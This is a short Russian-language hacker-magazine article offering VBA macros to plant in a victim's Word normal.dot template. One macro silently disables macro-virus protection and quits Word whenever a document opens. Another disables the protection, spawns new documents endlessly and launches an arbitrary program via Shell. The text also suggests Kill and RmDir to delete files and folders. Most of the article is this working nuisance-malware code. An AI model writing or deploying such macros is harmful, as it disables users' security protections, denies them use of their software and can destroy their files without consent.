Нумбер раз.
(Желательно это написать в normal.dot)
Private Sub document_open() ‘ Как только откроется документ …
Options.VirusProtection = False ‘ … снимаем защиту от макро вирусов (на
всякий случай 😉 )
Application.Quit ‘ И сразу закрываем Word 🙂
End Sub
Т.е. как только ламух откроет свой любимый Ворд то он сразу
захлопнется.

Нумбер два.
(И это желательно … нет обязательно надо написать в normal.dot!)
Private Sub document_new() ‘Срабатывает как только откроется новый
документ
Options.VirusProtection = False ‘ Ну, а это ты знаешь
Application.Documents.Add ‘ Открываем новый документ
Selection.Text = «Пишешь что хочешь» ‘ Пишем в этом документе
Selection.Font.Size = 24 ‘ Можно поставить нужный размер …
Selection.Font.Name = «Comic Sans MS» ‘ … и шрифт
Shell («Путь к файлу») ‘ Можно просто написать (Shell(«explorer»))
End Sub
Как только открывается документ , открываем ещё , а потом ёще и ещё.
И так до тех пор пока мозги не свернутся.
А чтобы Ворду одному скучно не было запустим ему друга(или подружку) 😉

Ещё есть пара функций это kill(«путь к файлу который будет удалён»).
Единственное, при попытке удалить открытый или «только для чтения»
файл возникает ошибка. 🙁
И RmDir(«путь») — удаляет каталог. Опять же при попытке удалить каталог,
который содержит файлы, возникает ошибка. 🙁
Я ещё не придумал, что можно сделать с ними.

Есть полезная инфа? Отправляй ее нам. Координаты ты знаешь: epsilon@real.xakep.ru

Оставить мнение

Check Also

Windows 10 против шифровальщиков. Как устроена защита в обновленной Windows 10

Этой осенью Windows 10 обновилась до версии 1709 с кодовым названием Fall Creators Update …